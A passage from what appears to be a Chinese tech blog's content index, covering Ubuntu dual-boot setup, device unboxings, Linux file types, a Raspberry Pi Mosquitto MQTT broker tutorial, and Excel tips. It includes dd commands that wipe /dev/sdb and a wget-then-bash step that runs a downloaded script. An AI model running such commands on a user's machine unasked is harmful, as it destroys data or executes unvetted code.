系統之後，才能正常開機。\n安裝 Ubuntu Linux 我的電腦原本的硬碟分割狀況主要是切成兩塊，分別是 Windows 10 系統的 C 槽與 D 槽，而 D 槽是空的，大約有一百多 GB，我是直接拿 Ubuntu Linux 安裝光碟的 ISO 檔製作成 USB 安裝隨身碟，就這樣直接安裝了，不需要事先刪除分割區。\n安裝實在磁碟分割的步驟，就選擇將 Ubuntu Linux 與 Windows 10 安裝在一起的選項，也就是第一個預設的選項，接著會有可以調整分割區大小的畫面，他可以自動幫使用者改變既有的分割區大小，騰出空間來安裝 Linux 系統。\n當然如果想要自己配置所有的硬碟分割，也可以改用手動分割的方式。grub 開機程式的安裝位置就按照預設值即可，預設應該是 /dev/sda。\n其餘的安裝過程都跟一般一樣，安裝完之後，重新開機就可以看到 grub 的開機選單了，正常的話從開機選單中就可以選擇要進入 Ubuntu Linux 或 Windows 10 系統。\n若要進入 Windows 10 就選擇 grub 開機選單中的 Windows Boot Manager 即可。\n修正 WiFi 無線網路無法使用的問題 ASUS K401U 筆記型電腦安裝 Ubuntu Linux 系統後，WiFi 會無法使用，rfkill list 會顯示 Hard blocked。\n如果讓系統進入休眠狀態，再重新喚醒之後，WiFi 無線網路就會恢復正常，如果在剛灌好系統尚未修正此問題之前，可用這個方式暫時上網。\n此問題可執行這行指令解決：\necho \u0026#34;options asus_nb_wmi wapf=1\u0026#34; | sudo tee /etc/modprobe.d/asus_nb_wmi.conf 詳細說明請參考 ask ubuntu。\n安裝 Nvidia 顯示卡驅動程式 在 Ubuntu 的系統設定值中，選擇「軟體和更新」。\n在「額外驅動程式」中，可以看到目前可用的驅動程式，選取要安裝的驅動程式之後，再點選套用變更即可。\n安裝完成後，檢查一下驅動程式是否正常運作：\nsudo apt install mesa-utils glxinfo 輸出會類似這樣\n[略] OpenGL vendor string: NVIDIA Corporation OpenGL renderer string: GeForce 940MX/PCIe/SSE2 [略] 再用 glxgears 測試一下：\nglxgears Running synchronized to the vertical refresh. The framerate should be approximately the same as the monitor refresh rate. 40076 frames in 5.0 seconds = 8015.163 FPS 41436 frames in 5.0 seconds = 8287.184 FPS 41309 frames in 5.0 seconds = 8261.737 FPS 中文輸入法 中文輸入法應該正常就會有安裝，若沒有的話就自己裝一下：\nsudo apt install fcitx-chewing 安裝好之後，再設定一下即可：\n新增「新酷音」輸入法。\n其他軟體 以下是我個人需要的軟體。\n安裝 OpenSDK 的 Java JDK：\nsudo apt-get install default-jdk Node.js、Eclipse 與開發用的 Tomcat 8 環境皆由官方下載最新的安裝檔，手動安裝。\nNvidia CUDA 可由 Nvidia 官方網站下載適用於 Ubuntu Linux 16.04 的 deb 檔來安裝。\nDocker 虛擬化架構工具、VirtualBox：\nsudo apt-get install docker.io virtualbox Gimp 繪圖軟體、Shutter 螢幕擷圖軟體、GVim：\nsudo apt-get install gimp shutter vim-gnome R 統計軟體：\nsudo apt-get install r-base r-recommended Google Chrome 瀏覽器則由官方網站下載 deb 安裝檔，直接安裝：\ndpkg -i google-chrome-stable_current_amd64.deb 修正 Chrome 缺少的相依套件：\napt-get -f install 參考資料 OMG Ubuntu ","permalink":"https://blog.gtwang.org/linux/asus-k401u-ubuntu-linux-16-04-installation/","summary":"\u003cp\u003e本篇是我在 ASUS K401U 筆記型電腦上安裝 Windows 10 Pro + Ubuntu Linux 16.04 LTS 的紀錄。\u003c/p\u003e\n\u003cp\u003e最近拿到一台新的 \u003ca href=\"/unboxing/asus-k401u-laptop-notebook-20170106/\"\u003eASUS K401U 筆記型電腦\u003c/a\u003e，上面安裝的系統是 Windows 10 專業版，不過我大部分的工作都習慣在 Linux 中處理，所以需要再加裝一個 Linux 系統，這裡記錄我加裝 Ubuntu Linux 16.04 LTS 的過程，由於最近非常忙，所以只記錄重點。\u003c/p\u003e","title":"ASUS K401U 筆記型電腦安裝 Ubuntu Linux 16.04 紀錄"},{"content":"本篇是 ASUS K401U 筆記型電腦的開箱紀錄。\n最近拿到一台新的 ASUS K401U 筆記型電腦，拍照記錄一下。\n這台 ASUS K401U 筆記型電腦外表是金屬機身的設計。\n這是前方的指示燈。\n左方的插座，包含電源、網路、HDMI 與兩個 USB 3.0 插座。\n右邊有耳機、兩個 USB 2.0 與 SD 卡插槽。\n這是打開的樣子。\n這一台 ASUS K401U 筆記型電腦有 500GB 的 SSD 固態硬碟。\nCPU 是 Intel Core i5 的 6200U，8G 的記憶體，還有 Nvidia GeForce 940MX 顯示卡。\n作業系統是 Windows 10 Pro 專業版。\n這是 ASUS 的滑鼠還有電源供應器。\n這是附贈的筆電包。\n","permalink":"https://blog.gtwang.org/unboxing/asus-k401u-laptop-notebook-20170106/","summary":"\u003cp\u003e本篇是 ASUS K401U 筆記型電腦的開箱紀錄。\u003c/p\u003e\n\u003cp\u003e最近拿到一台新的 ASUS K401U 筆記型電腦，拍照記錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這台 ASUS K401U 筆記型電腦外表是金屬機身的設計。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"ASUS K401U 筆記型電腦\" loading=\"lazy\" src=\"/unboxing/asus-k401u-laptop-notebook-20170106/asus-k401u-laptop-notebook-20170106-01.jpg\"\u003e\u003c/p\u003e","title":"[開箱] ASUS K401U 14 吋筆記型電腦"},{"content":"本文是 Edimax SP-2101W 智慧電能管家的簡單開箱文，介紹其基本功能與手機 App 的用法。\n在物聯網的應用中，具有 WiFi 連線功能的開關插座是一個很實用的設備，幾乎任何普通的電器都可以藉由 WiFi 開關插座與物聯網整合，輕鬆打造智慧家庭系統。\nEdimax SP-2101W 智慧電能管家是一個多功能的 WiFi 開關插座，可以透過 WiFi 無線網路遠端遙控開關通電或斷電，具有定時排程、用電量報告與電錶功能，還可以設定發送 E-mail 通知，將每日報表寄送出來。\n這款 Edimax SP-2101W 在 momo 購物網看起來比較便宜，這一個我買的時候特價 850 元（免運費），這是從 momo 購物網寄過來的包裹。\n這就是我從 momo 購物網買的 Edimax SP-2101W 智慧電能管家。\nEdimax SP-2101W 智慧電能管家的最高可負載功率達 1800W，一般家庭用的電器都不太會超過這個耗電量，比較耗電的電器（如電鍋、電暖器等）也都可以使用。\n打開外盒，這就是 Edimax SP-2101W 智慧電能管家。\n內容物很簡單，就是一個 Edimax SP-2101W 智慧電能管家加上說明書與保證書。\nEdimax SP-2101W 智慧電能管家外觀看起來就是一個比較大的插座，下方的插頭插在一般的電源插座上。\n而要控制電源的電器就直接插在上方的插座上就可以了，在右下角的控制版面上有一個手動開關，可以手動開啟或關閉電源，另外還有一個重置（reset）按鍵，可用來回復原廠設定。\n手動開關同時也是指示燈，有亮的時候表示開關打開（通電），而下面兩個小指示燈分別是電源與網路連線指示燈。\n這一個 Edimax SP-2101W 智慧電能管家是難得的台灣製造（Made in Taiwan）。\nEdimax SP-2101W 智慧電能管家可以使用 EdiPlug 這個手機 App 來操控，這個 App 可以從 Google Play 或 App Store 上免費下載，然後執行這個 App，新增一個插座。\n它可以自動與現有的 WiFi 無線網路整合，我們只要選擇要使用的無線網路，並輸入無線網路的密碼即可。\n設定好網路之後，再調整一下插座的相關設定，例如名稱、時程等，就可以開始使用了。\nEdiPlug App 操作版面上有一個開關，這個開關就是用來遠端遙控通電或斷電的開關，而當電器在用電時，也可以透過 App 的電錶功能，查看用電狀況。\nEdiPlug 智慧電能管家本身也有用電歷史紀錄與排程的功能，可以自行規劃電器的用電方式。\n這是每個小時的用電資訊圖表。\n","permalink":"https://blog.gtwang.org/unboxing/edimax-sp-2101w-smart-plug-switch-with-power-meter/","summary":"\u003cp\u003e本文是 Edimax SP-2101W 智慧電能管家的簡單開箱文，介紹其基本功能與手機 App 的用法。\u003c/p\u003e\n\u003cp\u003e在物聯網的應用中，具有 WiFi 連線功能的開關插座是一個很實用的設備，幾乎任何普通的電器都可以藉由 WiFi 開關插座與物聯網整合，輕鬆打造智慧家庭系統。\u003c/p\u003e","title":"[開箱] Edimax SP-2101W 智慧電能管家，具電表功能的 WiFi 開關插座"},{"content":"這裡介紹 Linux 「所有的東西都是檔案」的概念，以及各種檔案類型與使用範例。\n在 Linux 系統上所有的東西都是以檔案的方式在處理的，各種檔案儲存在系統根目錄 / 之下的階層式目錄架構中，在整個檔案系統上有各式各樣不同的檔案類型，除了我們熟知的一般檔案與目錄之外，還有連結檔、socket、管線檔（pipe）、硬體設備檔等各種軟硬體的資源。\n所有的東西都用檔案的形式管理，有一個好處就是使用方式非常統一，並且可以使用同一套工具與 API，處理各式各樣的輸入與輸出。\n在 Linux 中我們可以使用 ls -l 指令來判斷檔案類型，其輸出中每一行的第一個字元就代表檔案的類型，主要有以下幾種：\nls -l 輸出第一個字元 說明 - 一般檔案。 d 目錄。 b block 設備檔案。 c character 設備檔案。 l 連結檔案。 p pipe 管線檔案。 s socket 檔案。 以下是每一種檔案類型的詳細介紹。\n一般檔案與目錄 一般檔案是最常見的檔案類型，包含文字檔、二進位檔、圖片檔、影片檔、壓縮檔等等，這些都是屬於一般檔案的類型。\n而大家所熟知的目錄在 Linux 中也是一種特別的檔案，其作用就是用來放置別的檔案或目錄，架構出整個檔案系統的目錄結構。\n一般檔案在 ls -l 的輸出中，是以 - 表示，而目錄的話則是以 d 表示：\nls -l /etc/ 關於一般檔案與目錄的指令非常多，以下是比較常用的幾種：\ntouch myfile # 建立檔案 date \u0026gt; myfile # 建立檔案 rm myfile # 刪除檔案 mkdir myfolder # 建立目錄 rmdir myfolder # 刪除目錄 Block 設備檔案 block 設備檔案是用來存取硬體設備的媒介，它的特性跟一般的檔案差不多，具有記憶體緩衝區的功能，可以將一個區塊的資料放在快取記憶體中進行存取，最後以整個資料區塊的方式寫入硬體設備中，所以稱為 block 設備檔案。\nblock 設備檔案通常也都是可查找的（seekable），也就是可以存取其中任意的位置的資料。\n在 /dev 中的硬碟與記憶卡就是最典型的 block 設備檔案：\nls -l /dev/sd* # 硬碟、隨身碟 ls -l /dev/mmc* # 記憶卡 在使用 dd 指令將 ISO 檔製作成 Live USB 隨身碟時，就會使用到 block 設備檔案，另外若要清空硬碟、隨身碟或記憶卡時，也可以使用 dd 來處理，例如使用 0x00 清空整個硬碟：\ndd if=/dev/zero of=/dev/sdb bs=4096 或是使用亂數填滿整個硬碟，以達到資料銷毀的目的：\ndd if=/dev/urandom of=/dev/sdb bs=4096 Character 設備檔案 character 設備檔案也是一種用來存取硬體設備的媒介，不過它的特性與 block 設備檔案不太一樣，character 設備檔案比較類似管線（pipe）或序列埠（serial port）的概念，資料的輸入與輸出都是立即性的，沒有緩衝區，這種設備檔案在處理資料時都是一個字元接著一個字元依序處理的，所以稱為 character 設備檔案。\n設備對於資料的處理方式是由其對應的驅動程式所負責，寫入資料至不同設備，會有不同的功用，例如讓喇叭產生聲音、輸出訊息至螢幕或序列埠；從設備讀取資料也有各種不同的情況，例如產生亂數等。\n在 /dev 中的設備檔案大多是都是屬於 character 設備檔案：\nls -l /dev/ 這是從 /dev/urandom 這個 character 設備檔案讀取亂數資料的例子：\nhead -c16 /dev/urandom | od -A x -t x1z -v 我們從 /dev/urandom 讀取 16 個 bytes 的資料，再導向給 od 輸出：\n/dev/zero 也是一個 character 設備檔案，而從其中讀取出來的資料都會是 0x00：\nhead -c32 /dev/zero | od -A x -t x1z -v 連結檔案 連結檔案就是指向其他檔案或目錄的連結，這種檔案類型在系統上也是很常見的。\nls -l /etc/rc5.d 連結檔案對於一般使用者來說也是很常用的，以下是建立連結檔案的指令：\nln -s target link_name 這樣就會建立一個 link_name 連結檔案，而其內容就是指向 target 這個檔案。\nPipe 管線檔案 pipe 管線檔案就是一種讓兩個行程（process）之間可以傳遞資料的媒介，其特性就跟 Unix 的管線（pipe）相同，從一個行程讀取資料之後，再把資料傳送給另外一個行程，只不過它是以有名稱的檔案來提供資料導向的功能。\n我們以一個最簡單的範例來說明 pipe 管線檔案如何使用，首先來看一個普通的管線範例，這裡我們將 date 的輸出透過管線導向至 cat，然後輸出至標準輸出：\ndate | cat 接著我們將是範利用 pipe 管線檔案來達到相同的效果，首先使用 mkfifo 建立一個 pipe 管線檔案：\nmkfifo mypipe ls -l mypipe 有了 pipe 管線檔案之後，我們可以將 date 的輸出導入這個 pipe 管線檔案：\ndate \u0026gt; mypipe 這時候資料會被儲存至 pipe 管線檔案的緩衝區中，等待後續的行程來讀取它。\n接著我們再使用 cat 將這個 pipe 管線檔案中資料讀取出來，並且輸出：\ncat mypipe 這樣的效果就等同於一般的 Unix 管線，不過在程式設計上使用 pipe 管線檔案會比較方便，可讓不同的程式直接以檔案的形式互相傳遞資料。\nSocket 檔案 socket 檔案也是用於不同行程之間溝通用的媒介，特別是在網路服務的應用上特別常見，可提供不同主機之間互相溝通的管道，而這種檔案類型絕大部分都是在程式設計時才會有機會使用到。\n在 Linux 伺服器上的 /run/ 目錄中通常會有一些 socket 檔案：\nls -l /run/*sock* 在開發網路通訊相關的程式時，就很常會需要建立 socket 檔案，以 C 語言來說就是使用 socket 這個函數：\nint sockfd = socket(AF_INET, SOCK_STREAM, 0); 在建立好 socket 檔案之後，所有的網路資料傳輸就可以仿照存取檔案的方式處理，這部份可以參考網路上 Linux 的 socket 程式設計範例。\n參考資料 Tecmint Linux.com Wikipedia Linux Config StackExchange ","permalink":"https://blog.gtwang.org/linux/explanation-of-everything-is-a-file-and-types-of-files-in-linux/","summary":"\u003cp\u003e這裡介紹 Linux 「所有的東西都是檔案」的概念，以及各種檔案類型與使用範例。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上所有的東西都是以檔案的方式在處理的，各種檔案儲存在系統根目錄 \u003ccode\u003e/\u003c/code\u003e 之下的階層式目錄架構中，在整個檔案系統上有各式各樣不同的檔案類型，除了我們熟知的一般檔案與目錄之外，還有連結檔、socket、管線檔（pipe）、硬體設備檔等各種軟硬體的資源。\u003c/p\u003e","title":"Linux 檔案類型介紹：所有的東西都是檔案"},{"content":"Mosquitto 是一個開放原始碼 MQTT broker，安裝於樹莓派中就可以把所有的感測器、運算與控制設備連結起來，打造一個整合性的物聯網架構。\n在物聯網的應用中，有許多的感測器會產生各種的資料，這些資料可能會傳送至資料庫中儲存、交給運算伺服器分析、或是直接傳遞至使用者端即時顯示，而物聯網中的各種設備也需要接收來自於使用者或自動控制程式程式的指令，進行各種智慧化的動作，要讓整個物聯網環境具備互相溝通的能力，就需要有一個資訊傳遞的機制。\nMQTT 是一種 machine-to-machine（M2M） 的輕量級通訊協定，可以讓各種設備互相溝通，而其所需要的運算與傳輸頻寬很低，非常適合用於物聯網中的各種應用。\n在 MQTT 的通訊架構之下，會有一台設備專門負責所有訊息的派送工作，這個角色就稱為 broker，所有的訊息在傳遞時都會經過 broker，由 broker 來負責處理每一則訊息該如何遞送。\nMQTT broker 的實作有非常多種，例如 ActiveMQ、 HiveMQ、 Mosca、 Mosquitto、 RabbitMQ 等，基本上來說不管使用那一個實作版本都可以，功能上不會差太多。\n這裡我們以樹莓派的 Linux 環境為例，介紹 Mosquitto 這一個 MQTT 實作版本的安裝與使用方式，也就是把樹莓派打造成一個 MQTT broker 的角色，負責所有物聯網設備之間的相互溝通。\n名稱：Mosquitto\n描述：開放原始碼 MQTT Broker\n網址：Mosquitto 官方網站\n安裝 Mosquitto 在樹莓派的 Raspbian Linux 中我們可以使用 apt 直接安裝 mosquitto 套件，同時也順便安裝 mosquitto-clients 這個 MQTT clients 的套件，方便測試：\napt-get install mosquitto mosquitto-clients 正常來說，安裝完成後 mosquitto 服務會自動啟動，我們可以使用 service 指令檢查一下 mosquitto 服務的狀態：\nservice mosquitto status 服務的狀態呈現綠色的 active 就表示 Mosquitto 有在正常運作，接著就可以開始使用 MQTT Broker 的功能了。\n使用 Mosquitto MQTT Broker 在 MQTT 的架構中，設備可分為三種：\nPublisher：發送訊息者。 Subscriber：接收訊息者。 Broker：轉送訊息者。 而不同的訊息可能會需要傳遞給不同的接收者，所以訊息在發送的時候，發送者（publisher）必須標示這則訊息的主題（topic），而轉送訊息者（broker）則會依照這則訊息的主題，將訊息傳遞給有訂閱該主題的接收者（subscriber），這就是 MQTT 基本的訊息傳遞架構。\n在物聯網的應用中，一個設備可以是訊息的接收者，接收從其他設備發送過來的訊息，同時也可以訊息的發布者，發送訊息給其他設備。\n了解這個 MQTT 的基本架構之後，我們可以開啟一個虛擬終端機視窗，使用 mosquitto_sub 指令來訂閱指定的主題，也就是成為一個訊息的接收者：\nmosquitto_sub -t gtwang/test 這裡的 -t 參數就是指定要訂閱的主題（topic），而後面的 gtwang/test 就是主題的名稱。\nMQTT 的主題在使用時不需要事先設定，直接在發布或訂閱時指定自己要的主題名稱即可。\nMQTT 中的主題名稱類似一般的檔案系統，是採用階層的方式命名，我們可以自己決定命名的規則，要使用幾層都可以，善用有條理的命名方式可以讓訊息更好管理，例如 sensors/COMPUTER_NAME/temperature/HARDDRIVE_NAME 這樣就是一個不錯的命名方式。\n接著再開啟另外一個虛擬終端機視窗，作為訊息的發送者，使用 mosquitto_pub 將訊息發送至 gtwang/test 這個主題：\nmosquitto_pub -t gtwang/test -m \u0026#34;Hello, world!\u0026#34; 這裡的 -m 參數就是指定要送出的訊息內容，執行這行指令之後，就會將訊息傳送至 broker，在由 broker 將訊息送給 gtwang/test 主題的訂閱者，也就是另外一個虛擬終端機視窗，所以這時候就可以在另外一個視窗中看到這行訊息。\n以上就是基本 MQTT 訊息傳遞的傳送方式。\n訂閱多個主題 MQTT 的主題設計成階層式的架構，主要是為了可以支援比較複雜的訂閱規則，最簡單的主題訂閱方式就是直接指定完整的主題名稱，例如：\nsensors/my_computer/temperature/my_hd 除了這種方式之外，我們可以利用加號 + 這個萬用字元來匹配任意的名稱，例如：\nsensors/+/temperature/+ 這樣的話就會接收到所有第一層為 sensors 而第三層為 temperature 的訊息。\n假設有一個主題名稱為 a/b/c/d，則以下這幾種主題指定方式都可以匹配該主題：\na/b/c/d +/b/c/d a/+/c/d a/+/+/d +/+/+/+ 但是以下這幾種就不會與 a/b/c/d 批配：\na/b/c b/+/c/d +/+/+ 另外一種萬用字元是井字號 #，這個萬用字元專門用於結尾處，可以匹配之後所有的階層，以下幾種寫法都可以匹配 a/b/c/d：\n# a/# a/b/# a/b/c/# +/b/c/# 使用者認證 預設的 Mosquitto 服務是允許匿名登入使用的，也就是說任何人都可以透過 MQTT 的協定傳送與接收資料，若是在封閉的網路環境之下是沒有問題，但若是開放性的網路，最好就要上一些安全機制。\n最基本的安全機制就是設定登入的帳號密碼，只有經過認證的使用者可以透過 Mosquitto 服務傳送或是接收資料，以下是 Mosquitto 設定帳號與密碼的步驟。\nStep 1\n建立 Mosquitto 用的帳號密碼檔案，並新增 gtwang 這個使用者：\nmosquitto_passwd -c /etc/mosquitto/passwd gtwang 執行這行指令後，接著要設定 gtwang 的密碼。\nStep 2\n編輯 /etc/mosquitto/mosquitto.conf 設定檔，加入以下設定：\n# 設定帳號密碼檔案 password_file /etc/mosquitto/passwd # 禁止匿名登入 allow_anonymous false Step 3\n重新啟動 mosquitto 服務：\nservice mosquitto restart Step 4\n以設定好的帳號密碼登入，訂閱 gtwang/test 主題：\nmosquitto_sub -t gtwang/test -u gtwang -P secret123 以設定好的帳號密碼登入，發送訊息至 gtwang/test 主題：\nmosquitto_pub -t gtwang/test -u gtwang -P secret123 -m \u0026#34;Hello, world!\u0026#34; 設定好使用者認證機制之後，接下來還要設定安全加密連線。\n安全加密 TLS 連線 在安全性的考量上，僅僅只有加上帳號密碼是不夠的，至少還要有安全加密的保護，才能達到基本的防禦效果，否則讓帳號與密碼以明碼的方式在網路上傳遞，跟沒有設定帳號密碼是差不多的。\n以下是 Mosquitto 設定安全加密 TLS 連線的步驟。\nStep 1\n建立一個只有自己能讀取的目錄，隨後我們要在這個目錄中產生伺服器用的金鑰檔案。\nmkdir myCA chmod 700 myCA cd myCA Step 2\n產生金鑰的過程可以參考 mosquitto-tls 的 man page，而更快速的方式是使用 generate-CA.sh 這一個已經寫好的指令稿：\nwget https://github.com/owntracks/tools/raw/master/TLS/generate-CA.sh bash generate-CA.sh 執行 generate-CA.sh 之後，會自動產生伺服器用的金鑰。\nStep 3\n將金鑰複製到 Mosquitto 的目錄之中：\nsudo cp ca.crt /etc/mosquitto/ca_certificates/ sudo cp raspberrypi.crt raspberrypi.key /etc/mosquitto/certs/ Step 4\n重新啟動 Mosquitto 服務：\nservice mosquitto restart 如果重新啟動 Mosquitto 服務時，/var/log/mosquitto/mosquitto.log 出現這樣的錯誤：\nError: Unable to load server key file \"/etc/mosquitto/certs/raspberrypi.key\". Check keyfile. 通常是因為檔案權限不足的問題，只要修改一下檔案的擁有者即可：\nsudo chown mosquitto /etc/mosquitto/certs/raspberrypi.key Step 5\n檢查伺服器的金鑰是否正常運作：\nmosquitto_sub -t \u0026#39;$SYS/broker/bytes/#\u0026#39; -u gtwang -P secret123 --cafile ca.crt -v $SYS/broker/bytes/# 這個主題每隔 10 秒會輸出統計資訊，類似這樣：\n$SYS/broker/bytes/received 1008 $SYS/broker/bytes/sent 253 $SYS/broker/bytes/received 1092 $SYS/broker/bytes/sent 325 有收到訊息就表示正常。\nStep 6\n使用密碼配合 TLS 安全加密，訂閱 gtwang/test 主題：\nmosquitto_sub -t gtwang/test -u gtwang -P secret123 --cafile ca.crt 使用密碼配合 TLS 安全加密，發送訊息至 gtwang/test 主題：\nmosquitto_pub -t gtwang/test -u gtwang -P secret123 -m \u0026#34;Hello, world!\u0026#34; --cafile ca.crt 連接手機與電腦 在 Mosquitto 的 MQTT broker 伺服器架設好之後，任何支援 MQTT 協定的設備都可以直接連線進來傳送或是接收訊息，這裡我們以一台 Android 手機作為示範，將樹莓派上的訊息傳送至手機，並同時也可以將手機上的訊息傳回樹莓派。\n在 Andorid 手機上有非常多 MQTT client 的 app，這次我選擇 IoT MQTT Dashboard 這一款支援加密的 MQTT client app 來做示範，而這個 app 在建立加密連線時需要讀取 BKS 格式的憑證檔案，所以我們要先把自己的 ca.crt 轉為 BKS 檔。\nStep 1\n從 bouncycastle.org 下載 bcprov-ext-jdk15on-156.jar：\nwget http://bouncycastle.org/download/bcprov-ext-jdk15on-156.jar Step 2\n將 ca.crt 轉換為 BKS 檔：\nkeytool -importcert -v -trustcacerts -file ca.crt -alias IntermediateCA -keystore android.bks -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov-ext-jdk15on-156.jar -storetype BKS -storepass mysecret 其中 mysecret 可以換成自己的密碼。\nStep 3\n將 轉換好的 BKS 檔 android.bks 複製到 Android 手機上，然後開啟 [IoT MQTT Dashboard][8] 進行設定，填入樹莓派的基本資訊（左圖）。\nServer 欄位就填入樹莓派的 IP 位址（可用 ifconfig 指令查詢），連接埠（Port）預設是 1883，Username 與 Password 就是剛剛上面新增的Mosquitto 帳號與密碼，將 SSL 打勾之後，並填入剛剛產生的 BKS 檔，還有 BKS 檔的密碼。\n設定好 MQTT 伺服器之後，新增一個 Subscribe 設定，也就是訂閱一個主題，這裡我以 gtwang/test 這個主題做示範。\nStep 4\n在樹莓派中執行以下指令，送出兩則測試訊息。\nmosquitto_pub -t gtwang/test -u gtwang -P secret123 -m \u0026#34;Hello, world!\u0026#34; --cafile ca.crt mosquitto_pub -t gtwang/test -u gtwang -P secret123 -m \u0026#34;This is a test.\u0026#34; --cafile ca.crt Step 5\n查看 Android 手機上的 MQTT Dashboard 訊息，正常的話這樣就可以收到從樹莓派發送出來的兩則訊息了。\nStep 6\n讓 Android 手機發布訊息至樹莓派中，在 MQTT Dashboard 中新增一個 Publish 設定，發送訊息至 gtwang/test 主題。\n這時候在樹莓派中就可以使用 Mosquitto 的 client 接收這個來自於 Android 手機的訊息。\n這裡我們是將 Android 手機發送的訊息也送進 gtwang/test 主題中，而 Android 手機本身也是這個主題的訊息訂閱者，所以自己也會收到這則訊息，如果不想讓自己也收到訊息的話，可以更換訊息的主題（例如 gtwang/test2），要如何設計訊息的主題就要看實際的需求而定。\n基本上不管訊息要從哪個設備發送，以及從哪個設備接收，只要依循 MQTT 的協定、設定好訊息主題，任何設備都可以非常容易地互相溝通，因此 MQTT 在物聯網的應用上可以說是相當有發展性的技術。\n參考資料 instructables Primal Cortex’s Weblog IOT BYTES 智慧生活科技專業社群 StackOverflow ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-mosquitto-mqtt-broker-iot-integration/","summary":"\u003cp\u003eMosquitto 是一個開放原始碼 MQTT broker，安裝於樹莓派中就可以把所有的感測器、運算與控制設備連結起來，打造一個整合性的物聯網架構。\u003c/p\u003e\n\u003cp\u003e在物聯網的應用中，有許多的感測器會產生各種的資料，這些資料可能會傳送至資料庫中儲存、交給運算伺服器分析、或是直接傳遞至使用者端即時顯示，而物聯網中的各種設備也需要接收來自於使用者或自動控制程式程式的指令，進行各種智慧化的動作，要讓整個物聯網環境具備互相溝通的能力，就需要有一個資訊傳遞的機制。\u003c/p\u003e","title":"樹莓派安裝 Mosquitto 輕量級 MQTT Broker 教學，連接各種物聯網設備"},{"content":"Excel 的 VLOOKUP 函數的功能就類似從通訊錄中尋找資料，可以幫助使用者快速從表格中找出特定欄位的資料。\n假設我們在 Excel 中有一個很大的原始資料表格，裡面包含大量的欄位與資料（例如通訊錄，記錄著每個人的電話與地址等欄位），而現在我們想要從這個原始資料表格中找出部分的資料，填入另一個小的表格中（例如找出某幾個人的電話），這種狀況就可以利用 Excel 的 VLOOKUP 函數快速達成。\n這裡我拿勞保局各地辦事處的通訊錄來做示範，左邊綠色的表格是完整的原始資料表格，上面記錄了勞保局在每個縣市的辦事處地址與電話。\n我們的需求是在右邊建立一個新的橘紅色的小表格，這個表格中只需要某幾個縣市的辦事處電話，而這些電話可從左邊原始資料表格中查詢，像這樣的問題就可以直接使用 VLOOKUP 函數來處理。\n以下是使用 VLOOKUP 函數自動填入資料的步驟。\nStep 1\n首先用滑鼠選擇第一個要填入資料的儲存格。\nStep 2\n在這個儲存格之中，填入一個呼叫 VLOOKUP 函數的公式，而 VLOOKUP 函數的用法如下：\n=VLOOKUP(查閱值, 查閱範圍, 欄位編號, 是否完全符合) VLOOKUP 函數有四個參數，分別為：\n查閱值：在查詢資料時，要依照哪一個值去搜尋。 查閱範圍：在哪一個範圍內搜尋資料，也就是原始資料表格的範圍。 欄位編號：要取出的欄位編號，在查閱範圍中由左算起。 是否完全符合：搜尋時是否要完全符合查閱值，TRUE 代表部分符合，FALSE 代表完全符合。 以這個例子來說，我們要依縣市別來查詢表格，所以查閱值參數就是放縣市別的資料欄位，也就是 E2 這一格。而查閱範圍參數就是整個原始資料表格，其範圍是 A2 到 C25 之間，但是因為考慮到之後會將這個公式套用到其他的儲存格，所以我們在撰寫時，會使用 $A$2:$C$25 這樣的絕對位置來表示。\nVLOOKUP 有一個限制就是查閱值必須對應到查閱範圍最左邊的第一個欄位，以這個範例來說，就是縣市別一定要在查閱範圍的最左邊，如果遇到縣市別不是放在查閱範圍的第一欄時，建議改用 INDEX 配合 MATCH 的方式處理。\n這裡我們找的資料是辦事處電話欄位，而這個欄位在查閱範圍中是位於第 3 欄，所以欄位編號參數就是填 3。最後一個是否完全符合參數我們填入 FLASE，代表搜尋縣市別時要每個字都完全符合。\n所以最後我們輸入的完整公式如下：\n=VLOOKUP(E2, $A$2:$C$25, 3, FALSE) Step 3\n將滑鼠移至儲存格的右下角，在滑鼠游標變成十字形狀時，按下滑鼠左鍵往下拖曳，讓這個公式可以套用至下方其他的儲存格中。\nStep 4\n這樣就完成了利用 VLOOKUP 函數自動查找資料的工作了。\n參考資料 Microsoft Office ","permalink":"https://blog.gtwang.org/windows/excel-vlookup-function-tutorial/","summary":"\u003cp\u003eExcel 的 \u003ccode\u003eVLOOKUP\u003c/code\u003e 函數的功能就類似從通訊錄中尋找資料，可以幫助使用者快速從表格中找出特定欄位的資料。\u003c/p\u003e\n\u003cp\u003e假設我們在 Excel 中有一個很大的原始資料表格，裡面包含大量的欄位與資料（例如通訊錄，記錄著每個人的電話與地址等欄位），而現在我們想要從這個原始資料表格中找出部分的資料，填入另一個小的表格中（例如找出某幾個人的電話），這種狀況就可以利用 Excel 的 \u003ccode\u003eVLOOKUP\u003c/code\u003e 函數快速達成。\u003c/p\u003e","title":"Excel VLOOKUP 函數教學：按列搜尋表格，自動填入資料"},{"content":"本文介紹如何在 Excel 中將表格的資料以類似矩陣轉置的方式，讓行列互換，翻轉資料。\n在 Excel 中如果想要讓橫向的欄位變成直向的，或是讓直向的欄位轉為橫向的，可以使用 Excel 的選擇性貼上功能，自動將資料行列互換，既快速、又省力。\nStep 1\n首先開啟要轉置的 Excel 表格，把要轉置的表格用滑鼠選取起來，按下 Ctrl + c 複製。\nStep 2\n選擇一個放置新表格的位置，這裡我打算直接放在舊表格下方。\nStep 3\n從工具列中的「貼上」選單中，選擇「轉置」的方式貼上。\nStep 4\n這樣就完成表格的轉置工作了。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/excel-paste-special-transpose-tutorial/","summary":"\u003cp\u003e本文介紹如何在 Excel 中將表格的資料以類似矩陣轉置的方式，讓行列互換，翻轉資料。\u003c/p\u003e\n\u003cp\u003e在 Excel 中如果想要讓橫向的欄位變成直向的，或是讓直向的欄位轉為橫向的，可以使用 Excel 的選擇性貼上功能，自動將資料行列互換，既快速、又省力。\u003c/p\u003e","title":"Excel 轉置功能：選擇性貼上教學，矩陣行列互換翻轉資料"},{"content":"這裡介紹如何在 